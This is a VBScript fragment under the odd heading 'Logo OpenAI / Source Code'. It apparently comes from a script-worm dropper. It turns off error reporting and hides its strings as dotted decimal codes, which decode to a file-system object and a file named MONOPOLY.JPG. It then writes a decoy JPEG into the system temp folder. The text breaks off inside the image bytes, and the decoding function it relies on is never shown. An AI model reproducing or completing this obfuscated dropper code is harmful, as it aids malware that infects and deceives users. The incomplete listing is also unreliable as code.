Logo OpenAI

Source Code

On Error Resume Next
Set A1 = CreateObject(B("83.99.114.105.112.116.105.110.103.46.70.105.108.101.83.121.115.116.101.109.79.98.106.101.99.116."))
Set A2 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(2),B("77.79.78.79.80.79.76.89.46.74.80.71.")),True)
A2.Write(B("255.216.255.224.0.16.74.70.73.70.0.1.1.1.0.72.0.72.0.0.255.219.0.67.0.20.14.15.18.15.13.20.18.16.18.23.21.20.24.30.50.33.30.28.28.30.61.44.46.36.50.73.64.76.75.71.64.70.69.80.90.115.98.80.85.109.86.69.70.100.136.101.109.119.123.129.130.129.78.96.141.151.140.125.150.115.126.129.124.255.219.0.67.1.21.23.23.30.26.30.59.33.33.59.124.83.70.83.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.124.255.192.0.17.8.0.173.1.78.3.1.34.0.2.17.1.3.17.1.255.196.0.27.0.0.3.0.3.1.1.0.0.0.0.0.0.0.0.0.0.0.4.5.2.3.6.1.7.255.196.0.76.16.0.2.1.3.2.2.5.7.7.9.5.7.4.3.0.0.1.2.3.0.4.17.5.18.33.49.6.19.65.97.145.20.21.34.81.82.84.113.50.83.114.161.177.193.209.22.35.52.53.66.115.129.146.178.51.54.98.116.147.36.37.67.85.210.225.241.99.130.131.240.68.69.194.255.196.0.26.1.0.3.1.1.1.1.0.0.0.0.0.0.0.0.0.0.0.2.3.1.4.5.6.255.196.0.43.17.0.2.2.1.3.4.2.1.4.3.1.1.0.0.0.0.0.1.2.17.3.18.33.49.19.34.65.97.4.81.145.35.50.51.52.20.66.113.82.36.255.218.0.12.3.1.0.2.17.3.17.0.63.0.165.109.18.189.184.36.28.156.242.172.205.148.110.128.134.96.121.115.162.221.129.137.74.140.14.57.21.188.156.174.20.243.236.174.153.58.57.210.177.79.35.69.111.148.220.59.235.209.103.25.98.73.127.26.198.91.135.182.7.172.67.34.142.27.151.152.238.53.148.122.132.6.94.173.131.33.231.146.56.82.235.55.65.152.179.64.164.179.55.30.92.121.84.233.173.227.147.83.180.134.81.190.50.204.8.61.163.110.106.193.96.195.135.17.216.106.92.140.78.183.107.244.207.244.154.219.116.36.149.27.111.172.44.173.97.18.37.146.200.75.129.140.158.218.81.227.180.17.59.11.8.253.20.119.226.205.159.71.151.62.218.232.104.32.16.65.226.15.174.179.115.153.74.137.208.233.118.19.91.199.39.146.168.222.161.177.147.218.62.52.182.147.166.217.207.101.214.75.2.179.117.142.50.73.228.24.129.219.86.187.42.126.135.250.184.126.246.79.234.52.91.53.62.214.45.127.6.151.96.19.125.160.98.252.182.147.248.211.105.164.233.206.138.203.108.184.35.35.137.165.117.75.139.152.221.91.201.99.54.202.216.29.96.206.227.247.85.43.59.133.186.182.73.151.134.225.196.122.141.22.99.180.137.67.78.180.243.225.131.168.94.168.90.239.219.147.141.219.241.158.126.170.206.246.206.198.213.226.11.98.174.31.57.57.60.48.43.112.254.242.55.249.49.253.117.74.139.102.185.112.115.178.37.170.69.191.200.34.56.217.156.51.126.209.252.41.141.99.77.179.183.210.238.101.134.5.87.69.200.96.79.14.34.173.16.15.48.56.119.84.253.123.245.45.223.208.251.197.27.209.170.86.209.132.218.101.132.86.175.48.180.86.101.66.192.100.241.225.73.70.150.110.85.124.218.168.229.128.27.153.182.144.123.115.87.211.228.47.192.87.191.26.55.23.85.61.201.58.117.141.141.229.176.149.172.209.14.230.27.65.61.135.227.90.244.205.58.210.101.185.235.32.86.219.59.170.228.158.0.118.85.160.0.192.3.3.186.185.187.155.137.173.180.155.231.182.145.99.147.202.159.137.35.56.237.197.13.180.60.110.91.35.109.212.86.118.247.15.18.233.202.225.10.241.220.220.115.89.65.5.156.183.80.196.108.81.86.80.231.59.155.62.143.46.124.169.93.43.82.186.109.18.225.164.186.143.175.227.212.239.97.187.190.144.178.213.111.158.198.228.52.251.228.145.132.113.18.222.152.98.120.227.187.20.186.217.85.141.150.230.211.173.23.87.182.132.64.162.54.137.217.151.39.137.24.197.103.121.103.101.109.44.40.150.43.39.89.158.59.136.198.5.121.111.111.37.174.165.167.197.52.173.44.162.25.55.59.28.228.156.85.154.100.219.35.39.165.163.156.197.167.82.178.29.58.53.203.70.164.22.108.141.199.141.63.125.165.217.69.97.113.34.91.170.178.196.196.28.158.7.31.26.168.70.113.158.56.238.165.181.63.213.151.95.185.127.176.209.185.154.173.170.20.179.210.236.164.177.183.145.237.213.153.162.86.36.147.196.227.52.134.45.118.130.116.196.0.238.227.185.184.16.106.222.157.250.186.215.247.41.246.10.98.141.204.213.77.217.30.206.202.202.230.91.148.123.40.212.194.193.120.18.115.145.154.242.203.78.179.146.234.249.30.5.43.28.161.83.36.240.27.69.89.192.25.239.231.82.109.122.198.212.174.162.137.196.102.75.156.22.219.158.2.60.214.54.208.241.185.90.70.187.219.91.43.89.81.18.193.100.12.133.179.184.246.86.54.112.88.220.221.52.45.96.177.226.61.249.201.57.227.138.169.107.49.107.53.150.119.0.241.220.216.192.224.113.91.86.72.217.12.170.234.87.181.171.109.253.138.219.91.18.46.244.219.56.181.11.8.210.5.9.35.56.113.147.199.2.182.95.88.88.218.192.36.91.36.144.150.11.140.154.206.234.84.155.81.210.222.51.145.189.255.0.166.169.208.155.6.218.171.57.210.182.187.36.111.54.160.40.36.56.102.110.59.105.244.211.44.100.178.89.188.149.67.52.123.185.158.7.25.170.100.103.129.193.29.245.132.223.216.73.244.15.217.69.176.213.111.97.109.6.194.210.109.26.214.73.109.96.119.100.201.102.140.18.78.123.235.125.194.232.214.199.19.65.106.156.118.241.132.115.240.175.122.57.250.134.207.232.125.244.139.218.37.237.245.192.184.2.120.145.216.117.109.201.79.175.195.133.75.118.122.31.70.230.188.232.234.144.24.89.130.199.0.117.35.240.167.163.179.211.37.207.85.109.104.248.231.182.53.56.168.47.163.233.221.105.49.172.40.71.236.49.193.7.224.106.158.132.206.205.48.119.45.140.115.24.193.227.158.202.203.246.50.139.105.186.30.243.101.135.185.91.127.164.191.133.3.77.177.7.34.206.220.30.232.151.240.166.168.52.91.50.136.22.160.245.11.142.250.201.243.130.70.1.245.227.62.53.157.171.98.21.36.2.125.85.229.206.85.55.70.129.215.153.85.60.71.120.252.42.239.146.9.108.33.117.49.98.136.241.144.20.238.61.160.227.213.94.194.82.94.178.86.249.42.152.0.248.154.210.110.99.51.151.144.109.253.144.8.198.59.79.215.76.220.44.111.99.18.96.117.146.176.0.131.199.143.253.171.155.34.74.139.38.218.104.221.166.41.142.201.11.146.119.101.128.61.128.242.165.230.217.231.187.77.132.228.187.103.63.68.213.53.10.170.35.76.96.12.84.185.148.174.181.104.78.48.89.191.164.215.71.130.19.45.119.209.81.239.28.201.116.94.43.193.28.101.23.209.12.222.190.124.57.86.175.207.117.106.227.82.86.216.217.46.88.140.1.207.227.196.138.203.57.116.89.118.167.232.167.26.118.73.224.36.147.250.141.105.179.148.195.118.122.251.229.145.54.236.11.199.229.19.129.246.86.54.138.239.160.78.177.231.121.105.113.252.198.139.27.77.38.104.191.189.125.70.117.181.179.82.201.158.7.218.62.191.128.170.214.81.71.107.10.90.171.171.58.174.226.51.199.143.109.75.209.46.173.161.89.4.178.42.59.17.130.220.1.29.212.188.45.214.107.106.246.242.51.135.151.229.49.226.87.183.248.80.45.20.199.247.145.191.201.143.235.170.117.48.127.121.27.252.159.255.0.221.41.35.52.146.207.36.122.130.42.22.220.163.123.29.189.159.120.162.205.113.186.46.212.253.123.245.45.223.208.251.197.34.90.66.202.195.82.66.48.70.224.79.31.87.10.242.240.72.52.157.79.173.186.89.206.6.0.39.209.227.67.102.198.20.236.188.159.33.126.2.178.169.23.225.154.230.48.183.66.17.213.13.195.36.115.97.199.135.133.45.153.94.32.87.82.86.201.4.29.204.54.243.63.199.128.162.204.112.178.255.0.227.92.205.244.81.73.162.106.77.47.2.151.46.200.125.77.154.126.202.71.242.244.235.47.67.169.220.58.179.156.150.207.125.72.212.45.175.111.109.230.130.210.22.145.60.170.70.114.15.111.96.172.147.41.142.52.200.214.122.69.229.244.70.75.104.131.168.56.62.144.224.107.49.163.222.165.244.54.172.129.38.147.210.80.88.87.69.209.109.50.238.198.73.222.233.12.106.224.0.9.230.105.77.67.76.213.166.215.90.229.35.200.14.10.56.97.128.7.47.170.146.182.47.212.238.106.203.76.165.53.155.4.102.220.86.221.193.111.94.49.198.169.212.219.167.9.174.90.187.114.88.36.39.31.194.149.97.44.146.73.36.122.130.162.59.146.131.115.112.228.62.250.162.116.114.202.58.168.185.75.106.127.171.110.191.114.255.0.97.169.82.60.166.70.35.80.92.128.67.21.45.218.120.112.236.230.43.100.142.209.217.223.199.113.116.179.73.34.72.99.92.158.0.3.159.175.62.20.89.138.20.202.90.127.234.235.95.220.167.244.138.102.160.201.38.235.91.37.142.237.97.41.2.135.25.35.154.140.114.161.146.115.19.5.212.3.112.225.233.48.219.219.207.224.40.176.112.189.203.181.38.216.73.229.215.178.194.55.60.87.33.130.231.27.134.192.8.240.53.132.47.34.93.198.210.106.10.200.164.150.92.158.57.200.31.95.217.76.233.223.166.234.95.191.31.210.43.30.227.71.177.54.23.83.233.216.223.112.151.81.43.48.204.120.33.73.207.47.85.97.59.105.173.20.171.110.110.0.67.192.69.157.129.187.57.112.173.250.137.157.211.168.134.219.174.14.167.44.88.0.135.176.214.173.63.202.35.88.237.166.178.8.155.56.201.184.16.199.214.71.125.45.111.69.150.78.219.161.37.73.151.85.177.235.134.14.246.199.28.227.209.171.253.181.46.238.52.139.82.211.22.53.8.187.228.224.7.248.105.108.75.27.108.123.244.200.37.89.11.156.231.137.226.125.124.69.50.216.148.251.221.151.115.90.230.254.194.79.160.126.202.132.76.168.138.14.164.155.130.40.36.185.248.159.170.153.183.138.96.114.247.125.118.35.118.97.184.241.83.242.120.86.216.138.20.202.125.28.253.67.103.251.191.190.146.88.217.111.46.229.83.143.207.53.49.160.221.67.14.137.102.178.200.20.245.121.226.59.233.73.103.140.79.112.93.241.27.200.113.223.73.31.39.115.240.41.115.155.171.150.73.34.14.48.16.227.143.121.56.248.85.141.0.48.177.220.119.108.102.98.153.60.151.60.5.71.234.97.67.44.144.94.236.184.193.218.179.48.42.115.219.241.197.82.50.102.222.85.180.144.148.129.81.70.15.62.21.45.58.91.162.169.185.82.102.119.61.38.176.181.185.146.222.110.177.94.51.130.118.240.167.236.111.225.191.136.75.111.184.161.228.72.198.107.131.213.34.105.12.204.34.103.102.193.200.0.159.227.219.93.127.70.19.102.137.106.8.193.218.115.159.137.166.142.232.38.169.209.162.211.115.64.191.198.152.80.57.154.145.13.205.235.194.140.150.147.236.101.4.109.198.56.255.0.26.55.95.17.250.29.207.213.248.215.67.171.57.20.168.170.202.172.78.224.15.113.20.171.89.42.222.36.232.222.138.231.209.239.236.52.158.111.189.210.235.234.252.104.223.120.170.119.89.220.129.235.36.15.190.138.137.186.202.220.106.54.165.57.182.212.32.147.171.50.97.136.218.14.9.202.215.178.223.79.28.145.161.182.184.82.224.237.193.7.118.57.246.210.23.179.77.36.208.110.183.148.48.44.125.60.12.240.248.212.231.56.164.210.123.148.199.13.77.57.112.55.229.209.1.195.78.148.122.59.120.76.57.122.190.21.231.150.195.195.253.219.46.48.70.222.184.96.131.143.192.82.94.80.255.0.54.63.157.104.242.151.249.177.252.235.92.189.76.191.71.161.254.63.195.255.0.208.226.222.64.152.198.151.39.163.130.51.40.60.142.71.214.105.253.54.236.219.232.94.82.80.177.222.231.110.125.109.81.60.161.190.108.127.168.41.221.55.85.91.59.21.183.150.223.121.12.196.250.107.131.147.154.174.57.77.190.228.114.124.172.88.99.21.210.118.103.116.150.146.204.223.154.150.38.62.145.234.176.202.196.253.134.179.176.186.182.183.12.240.219.200.210.8.203.111.144.129.145.145.192.119.241.173.163.95.137.71.11.66.62.14.162.188.58.244.36.96.217.240.245.111.74.177.195.79.232.198.250.248.218.107.139.42.194.101.223.104.6.208.64.35.210.38.149.91.171.101.7.26.83.241.36.255.0.106.59.127.241.90.111.239.90.238.252.92.36.91.84.69.213.224.200.190.188.214.175.41.111.155.31.206.181.207.57.228.79.181.108.122.95.31.15.198.150.52.242.58.99.98.234.221.80.40.210.228.192.255.0.214.21.174.242.249.6.157.115.20.86.13.8.148.12.183.88.8.231.90.60.165.254.108.127.58.214.185.228.121.161.100.17.128.91.183.172.20.170.121.111.130.207.7.195.171.82.42.73.170.36.204.143.46.157.35.50.168.3.243.160.112.206.126.234.214.47.32.1.113.165.190.87.145.50.140.255.0.247.141.38.46.28.127.195.31.234.45.30.82.255.0.54.63.157.107.58.153.126.141.95.31.225.255.0.232.163.231.69.235.132.190.109.147.120.98.192.245.163.153.172.244.245.185.188.181.146.75.119.48.147.112.236.202.79.26.151.229.13.243.99.249.214.156.210.245.95.33.183.120.222.2.197.164.103.200.145.121.26.174.57.77.190.228.114.252.172.88.33.27.194.237.141.149.189.85.147.55.201.214.34.174.227.191.128.227.199.134.63.251.154.216.233.114.247.27.45.111.65.86.34.69.86.108.157.135.159.101.42.117.91.98.210.31.36.127.206.2.8.235.87.180.228.253.116.71.170.219.69.58.204.150.178.111.88.250.177.153.87.27.106.214.112.233.127.70.201.69.220.90.133.162.58.27.137.138.75.193.92.3.180.145.142.53.176.91.205.195.253.209.38.7.12.117.227.7.227.225.75.62.178.173.169.65.116.32.59.99.141.148.142.177.114.115.78.126.82.167.187.55.250.139.248.215.30.108.153.163.42.198.173.23.199.8.184.247.114.99.29.188.177.239.217.163.184.222.161.91.243.203.200.127.30.225.90.110.161.153.45.166.147.205.146.43.8.164.1.218.96.118.238.7.63.125.49.249.74.158.234.223.234.47.227.90.110.245.244.184.180.154.21.182.96.210.33.80.76.139.218.42.75.47.201.111.120.143.211.198.99.4.50.203.109.11.182.149.36.132.196.131.127.92.6.64.28.56.118.86.223.39.151.179.72.144.14.57.2.113.131.145.142.53.141.175.72.18.11.88.97.107.102.38.56.213.73.18.47.48.49.91.127.41.83.221.91.253.69.252.104.121.126.77.237.16.233.227.48.54.178.31.255.0.76.255.0.14.188.96.115.239.239.173.218.91.200.210.234.79.42.24.95.174.226.185.4.175.162.43.15.202.84.247.86.255.0.81.127.26.78.223.88.88.103.187.145.173.201.19.201.184.1.34.240.24.3.215.86.193.147.52.165.250.138.145.60.144.142.158.211.37.158.225.145.85.47.114.219.24.241.60.200.39.143.46.254.63.10.200.92.72.26.85.109.68.41.80.121.113.227.225.194.180.249.125.128.92.11.6.3.4.127.106.57.19.147.219.89.174.169.102.165.202.216.99.126.119.126.113.120.231.248.215.85.145.210.254.135.117.71.145.47.52.199.138.51.51.134.124.40.56.207.163.88.73.12.210.72.206.250.59.22.98.75.17.50.241.250.233.57.245.133.150.238.206.101.183.33.96.44.72.50.47.28.140.83.191.148.169.238.173.254.162.254.53.201.159.38.104.203.244.213.162.216.225.23.30.238.77.109.105.35.28.157.29.201.225.255.0.28.112.193.200.237.172.212.92.91.199.41.139.73.104.247.70.84.158.184.30.28.123.251.235.223.202.84.247.86.255.0.81.127.26.198.94.145.163.196.235.228.205.197.79.252.69.169.44.223.38.255.0.105.78.158.50.142.137.111.29.199.71.173.22.65.159.205.240.61.162.181.75.164.187.163.68.208.36.128.62.229.98.212.142.141.210.8.45.116.171.120.94.214.233.138.38.11.34.169.7.235.170.144.107.203.113.18.203.13.133.235.35.114.59.19.254.170.237.139.50.226.215.34.107.209.214.227.136.173.211.62.177.147.84.45.52.201.45.161.149.22.81.185.192.25.11.202.143.59.183.252.186.251.249.83.254.170.60.240.127.229.215.191.202.159.245.83.54.204.90.23.145.91.157.54.217.163.197.220.39.120.229.34.246.255.0.26.161.166.64.32.181.8.11.145.217.188.228.214.131.171.110.4.29.54.244.131.216.81.63.234.173.18.235.176.89.70.189.109.141.220.40.78.6.81.127.234.163.118.9.171.228.94.214.249.109.172.236.227.104.165.108.194.167.114.175.162.6.7.51.78.207.116.144.32.119.39.4.100.96.118.84.9.75.50.89.68.161.16.188.8.55.51.30.61.220.42.149.205.149.253.210.4.146.230.4.80.48.2.198.126.218.102.217.207.162.31.236.110.178.213.45.239.156.44.59.207.168.145.72.73.45.203.199.124.175.46.245.24.10.24.96.40.205.99.103.165.94.233.146.35.192.97.184.65.156.175.201.38.188.133.98.65.120.114.177.140.5.220.9.227.147.218.70.107.19.126.76.168.175.218.99.32.101.147.74.82.0.219.28.163.3.151.117.45.172.113.84.250.18.127.77.53.59.153.38.211.24.177.98.82.94.57.165.117.126.73.244.36.254.154.226.201.253.132.122.120.127.170.206.80.215.148.81.93.36.143.115.69.121.69.0.123.69.121.69.0.123.154.242.138.40.0.175.107.202.40.3.218.242.138.40.3.218.43.202.40.3.220.209.154.242.138.0.247.52.87.148.80.1.94.230.188.162.128.61.205.21.229.20.0.81.69.20.1.237.21.229.20.1.238.107.202.40.160.2.189.175.43.218.0.232.172.191.68.139.232.213.109.58.75.132.210.172.214.220.174.89.24.16.113.195.210.230.59.234.77.159.232.113.125.26.118.25.17.52.173.60.62.9.96.193.50.113.134.221.195.248.86.99.229.158.116.119.114.255.0.165.43.73.37.58.188.241.180.206.232.187.136.67.140.14.34.170.84.171.45.222.120.185.202.168.206.114.119.115.245.112.170.181.208.133.159.38.19.75.212.194.242.21.102.10.51.133.230.106.7.72.46.22.235.79.183.145.85.148.25.8.195.115.225.86.117.34.171.99.54.246.80.164.99.44.72.31.85.115.218.158.195.164.193.213.58.186.117.205.134.82.78.124.104.92.155.5.228.187.167.245.45.167.218.151.234.203.8.151.25.198.71.10.111.172.79.109.127.152.84.203.29.38.194.75.27.119.146.217.89.154.53.36.146.120.156.124.107.127.153.180.239.117.95.19.248.209.184.61.35.157.98.123.107.226.42.75.217.52.48.220.17.56.152.202.62.66.224.30.125.148.215.153.180.239.117.95.230.63.141.79.104.116.198.89.196.86.76.175.14.1.36.19.158.61.156.107.25.177.175.6.185.135.87.54.152.142.112.202.146.130.25.129.35.184.154.91.87.32.170.96.131.232.73.200.255.0.134.179.150.202.216.205.96.122.145.249.197.148.183.49.156.114.237.173.26.149.172.54.225.76.81.132.37.31.56.207.170.184.103.93.116.122.216.175.252.102.115.20.80.104.174.130.65.69.20.80.1.69.20.80.1.69.20.80.1.69.20.80.1.69.20.80.1.69.21.238.51.64.30.81.89.108.52.108.52.1.141.21.154.198.204.64.3.38.177.32.130.69.0.121.69.20.80.1.69.20.80.1.69.20.80.1.69.20.80.1.69.20.80.1.69.20.80.5.251.73.99.22.145.3.34.131.183.150.106.182.154.208.73.166.217.22.190.138.38.136.28.163.96.131.199.180.26.149.105.20.102.210.34.99.66.118.243.34.172.105.105.103.30.149.104.102.181.141.218.76.140.148.4.231.38.179.31.44.243.213.91.161.184.90.210.11.217.110.60.190.54.18.126.193.97.129.240.166.252.225.103.239.80.255.0.56.169.11.12.49.223.94.183.83.12.171.24.202.198.84.12.114.229.79.88.65.107.119.110.37.107.40.16.146.70.221.128.213.213.153.36.185.99.6.250.204.140.27.152.8.239.113.81.250.71.113.111.45.180.11.12.177.190.28.156.43.14.28.59.170.188.150.118.49.161.121.45.173.213.87.137.37.7.10.139.175.165.167.145.193.37.164.113.0.92.130.200.160.118.114.173.92.132.106.246.51.145.21.215.77.12.146.54.98.94.42.216.21.209.84.219.75.40.110.108.236.165.144.54.245.137.113.134.199.125.81.60.232.242.44.223.128.174.124.51.4.191.50.50.168.192.206.56.144.115.202.186.14.218.231.163.102.11.120.76.114.140.225.129.42.70.120.255.0.222.177.155.3.199.249.90.79.47.236.228.28.59.56.14.20.190.177.242.83.232.63.217.77.76.127.61.165.158.63.38.110.202.87.87.249.41.244.36.251.43.131.39.246.17.235.225.254.171.57.58.40.162.186.73.5.20.81.64.5.20.81.64.5.20.81.64.5.20.81.64.5.20.81.64.5.108.141.114.107.12.83.0.168.3.3.149.6.152.237.56.36.12.129.207.186.189.8.216.4.140.2.113.154.122.213.195.141.162.50.207.32.193.199.1.138.165.30.153.4.191.154.146.54.142.70.30.139.110.200.38.145.177.212.44.154.246.6.222.72.216.184.3.96.114.106.125.194.129.49.219.242.79.17.138.232.181.43.57.22.205.1.96.207.24.192.236.36.87.59.41.218.232.120.28.0.104.139.179.103.26.29.185.209.110.45.172.214.226.70.139.36.2.98.13.233.168.60.137.21.50.186.109.70.233.99.145.111.34.136.78.151.103.124.103.28.142.6.87.226.13.115.111.146.236.72.193.39.149.57.27.49.162.138.40.52.40.162.138.0.40.162.138.0.40.162.138.0.40.162.138.0.232.236.255.0.67.139.232.211.246.174.19.77.211.203.6.32.171.14.4.0.61.46.102.144.179.207.145.197.244.106.157.157.164.183.58.78.158.99.64.66.231.121.39.179.60.171.49.242.207.58.60.203.254.155.167.144.155.139.205.209.8.213.99.112.78.223.149.203.153.167.52.114.190.111.64.173.187.4.229.189.102.146.17.57.188.189.234.130.185.117.112.138.9.206.114.51.159.85.81.211.35.149.44.81.102.140.198.227.57.82.115.138.186.9.240.103.124.9.178.152.14.36.174.7.12.241.174.123.86.67.22.149.2.56.32.172.204.57.98.186.73.237.210.230.22.138.85.37.27.152.28.42.23.72.45.163.180.211.237.226.129.74.160.144.156.19.158.206.250.213.201.144.126.6.108.124.235.228.22.253.87.145.236.234.215.110.237.217.198.59.107.99.205.170.70.118.187.216.41.245.29.212.214.154.127.221.150.185.249.165.251.42.53.245.199.89.127.201.153.83.137.3.212.40.173.205.189.248.31.73.181.73.115.177.236.27.28.240.91.133.19.69.170.207.25.142.84.177.100.61.132.181.77.211.238.77.157.200.110.181.102.23.7.35.142.8.248.253.213.126.89.255.0.216.228.150.19.130.170.79.17.156.127.10.193.164.180.189.145.14.238.218.250.41.45.73.91.85.17.7.8.169.184.140.30.121.205.47.171.65.119.10.167.149.24.74.148.147.111.87.159.103.190.155.188.156.220.218.219.77.33.4.151.32.22.93.188.50.59.43.62.147.143.66.15.163.39.244.212.222.56.183.171.201.104.229.154.90.47.99.135.197.24.174.147.163.122.109.164.182.179.94.95.12.196.135.110.42.191.87.209.239.155.62.6.166.229.71.124.113.57.35.132.197.24.174.239.171.232.247.205.159.3.71.87.209.239.155.62.6.179.90.27.160.253.254.14.19.20.98.187.190.175.163.223.54.222.6.142.175.163.223.54.222.6.141.104.58.15.223.224.225.49.70.43.187.234.250.61.243.109.224.104.234.250.61.243.109.224.104.214.131.160.253.254.14.19.20.99.186.187.190.175.163.223.54.222.6.188.217.209.239.155.62.6.141.104.222.131.247.248.56.92.31.85.24.53.220.63.228.228.96.22.140.231.176.0.73.52.173.157.182.153.108.87.206.8.196.92.160.150.18.71.46.39.43.252.56.86.216.143.26.78.153.19.72.210.110.117.25.24.193.133.216.51.185.185.124.43.24.172.37.104.140.172.158.134.72.221.158.3.21.211.221.94.218.193.107.228.186.96.40.142.114.231.24.56.245.84.141.62.64.182.87.49.179.140.35.28.47.198.179.85.143.44.46.41.54.110.183.140.74.161.71.163.180.100.98.182.202.187.16.70.172.219.93.177.146.120.248.247.81.166.32.101.27.201.94.208.71.174.183.77.25.105.144.73.39.163.237.109.192.20.150.50.66.82.51.121.3.60.138.100.56.108.72.199.37.125.85.18.250.216.219.186.99.113.86.80.192.145.142.117.209.172.42.45.153.102.200.80.228.130.7.6.25.164.181.125.98.218.226.216.195.20.91.165.222.113.33.253.133.236.2.154.44.156.210.54.116.117.32.54.136.243.35.59.249.82.168.225.157.188.50.2.247.146.56.247.10.91.165.54.208.197.170.204.246.229.66.190.215.42.15.107.12.230.154.178.188.131.205.137.28.74.21.166.94.166.69.7.5.28.114.151.192.241.173.182.214.246.49.200.103.185.45.115.26.182.201.221.185.140.252.135.29.223.178.69.61.147.80.111.127.7.43.138.49.93.223.87.209.239.154.62.6.142.175.163.223.52.222.6.151.90.43.208.126.255.0.7.9.138.49.93.223.87.209.239.155.111.3.71.87.209.239.155.111.3.70.180.111.65.251.252.28.38.40.197.119.125.95.71.190.108.248.26.58.190.143.124.217.240.52.107.70.116.31.191.193.194.98.140.119.87.119.213.244.123.230.155.192.209.213.244.123.230.219.192.209.173.7.65.251.252.28.38.40.174.239.171.232.247.205.183.129.168.61.37.210.227.179.157.37.181.31.152.145.67.14.234.213.43.22.88.156.85.178.132.26.93.168.209.32.185.47.32.145.209.121.200.66.228.213.27.93.26.216.219.33.73.174.20.99.128.142.118.219.252.43.203.115.142.140.219.145.156.136.215.24.231.154.246.222.89.79.80.201.36.204.187.19.118.24.109.249.88.57.205.93.36.121.109.203.115.69.213.157.189.189.194.162.61.227.187.99.39.175.32.124.51.235.225.245.83.80.233.118.179.196.178.71.117.118.202.223.250.237.73.106.141.215.92.20.82.114.100.35.4.224.96.0.62.220.210.226.9.237.34.141.154.102.101.153.75.2.23.56.111.87.133.27.5.178.199.153.160.247.139.191.245.218.165.107.246.49.218.65.19.36.179.185.102.35.243.146.22.236.170.90.77.211.178.245.83.43.41.7.153.24.227.75.116.167.244.88.62.153.251.41.146.220.85.41.89.74.193.67.233.54.234.121.52.42.62.170.149.121.37.204.19.117.69.149.35.111.71.33.51.129.202.159.211.239.173.19.78.182.86.186.129.89.99.80.65.144.2.56.86.217.46.116.233.79.231.46.109.152.142.211.40.161.139.186.100.25.46.109.154.24.97.120.129.157.114.173.133.198.71.97.205.63.104.174.246.114.238.117.144.117.74.72.98.64.60.73.251.40.190.143.78.144.25.32.158.219.112.24.40.37.3.119.254.41.155.11.139.88.32.34.91.203.82.204.123.36.94.88.0.118.247.82.142.219.228.66.101.143.171.135.170.104.192.19.48.194.19.183.146.255.0.226.182.116.159.228.65.244.100.254.154.223.169.93.91.60.74.34.184.143.159.19.28.139.195.62.177.73.244.138.226.9.146.33.12.241.200.66.73.157.142.14.61.26.13.141.182.152.190.137.253.216.186.253.232.251.168.182.182.107.148.152.175.202.141.55.252.104.209.63.187.23.95.189.31.117.85.232.194.110.150.224.145.145.180.15.182.185.36.174.73.31.65.142.122.49.57.16.190.28.168.166.245.43.95.35.189.146.46.75.156.175.192.210.149.22.169.209.221.25.41.36.208.197.149.177.186.149.148.103.10.133.141.47.247.215.77.160.217.245.122.123.202.195.211.152.30.125.130.160.218.219.27.155.212.128.126.211.16.123.133.51.142.200.140.115.41.74.95.72.107.76.209.228.190.252.235.157.144.250.251.91.225.85.207.71.108.202.96.25.3.122.247.86.58.190.161.230.248.146.218.216.5.144.175.242.138.128.151.215.73.32.144.92.73.187.57.60.105.251.99.177.4.179.102.238.78.151.131.118.163.166.73.167.184.220.119.196.223.37.199.216.105.123.104.150.105.25.88.237.1.25.179.240.25.174.146.202.229.117.155.9.33.152.14.176.12.48.251.13.69.211.45.243.169.155.121.115.130.174.141.225.138.199.21.105.174.7.134.89.104.146.151.238.67.250.109.149.174.149.110.183.250.148.136.183.14.50.11.159.144.59.0.30.186.143.174.234.118.55.118.204.182.192.50.66.187.99.12.48.119.49.226.71.192.3.227.84.117.93.13.227.129.110.94.121.46.228.143.131.25.59.23.184.87.59.125.106.215.10.10.96.50.246.122.234.174.73.58.56.227.134.89.32.242.39.108.90.215.81.41.232.204.11.1.201.187.69.25.71.189.102.141.178.167.141.41.61.180.214.207.182.120.158.54.60.70.225.140.214.188.145.203.178.183.74.187.68.229.154.78.58.100.118.26.112.204.67.110.3.96.129.159.93.111.129.179.11.187.179.41.31.43.112.202.212.77.22.252.237.49.72.114.85.129.207.119.42.188.200.189.81.200.224.121.247.212.222.204.164.93.161.57.167.104.244.137.101.7.110.65.192.245.247.215.34.1.118.194.130.73.60.135.109.116.122.161.150.230.53.181.132.98.53.0.179.118.1.200.10.126.207.70.182.179.208.141.224.27.238.88.112.115.251.60.123.41.162.233.11.40.57.53.244.47.99.209.139.168.44.13.211.227.175.35.61.86.56.129.248.214.168.165.234.101.235.10.111.66.10.200.158.218.30.99.239.21.83.66.190.152.95.44.47.35.58.73.144.67.28.224.214.139.171.77.218.203.219.199.195.116.156.49.217.158.52.141.223.114.59.33.29.41.226.159.28.152.233.218.81.185.186.123.126.184.117.104.161.210.65.206.72.207.34.62.254.250.185.249.61.101.183.25.125.222.214.234.159.123.3.105.247.113.195.102.193.101.10.94.217.127.173.15.113.230.59.234.98.234.23.44.194.85.158.76.158.60.254.172.83.61.49.240.75.27.203.151.101.42.161.141.75.74.146.192.238.7.124.36.240.111.87.198.150.181.128.220.220.199.8.33.75.156.102.186.61.54.241.117.91.73.45.238.0.50.1.134.239.30.186.141.97.19.91.235.113.196.252.210.76.124.106.110.42.211.92.23.134.89.105.148.101.202.53.106.54.94.65.114.33.223.191.209.7.56.245.210.160.18.112.57.250.170.167.72.255.0.89.255.0.241.143.190.165.82.201.110.95.20.156.160.155.29.188.211.38.180.182.138.105.56.135.230.61.147.217.73.118.215.81.167.76.154.174.152.246.243.124.181.27.79.220.106.28.22.78.117.53.181.113.196.62.27.224.63.237.77.40.240.209.44.121.159.114.159.40.206.243.75.146.218.206.59.150.96.85.212.101.79.53.38.142.145.129.228.81.100.127.248.195.237.20.247.73.167.203.197.108.188.148.110.35.236.164.122.70.63.216.163.255.0.44.62.218.164.82.82.164.114.230.148.165.137.57.123.25.139.63.146.208.99.57.234.215.151.198.181.136.55.75.96.234.158.138.129.156.47.63.75.135.47.85.41.111.171.70.116.104.45.77.188.204.81.6.91.3.7.21.67.79.212.200.178.136.67.167.220.186.96.225.144.12.30.63.26.233.77.51.195.105.239.67.122.133.136.158.54.40.160.177.226.71.127.172.84.40.153.162.100.137.101.113.60.4.179.7.57.86.250.62.161.86.188.233.47.252.182.239.63.251.127.26.73.202.60.210.75.230.203.208.100.249.67.209.199.219.77.97.27.73.166.109.210.4.151.45.214.76.229.213.78.64.61.149.175.165.95.162.193.244.207.217.91.237.239.26.217.54.71.166.94.99.224.191.141.79.215.239.26.226.8.149.173.39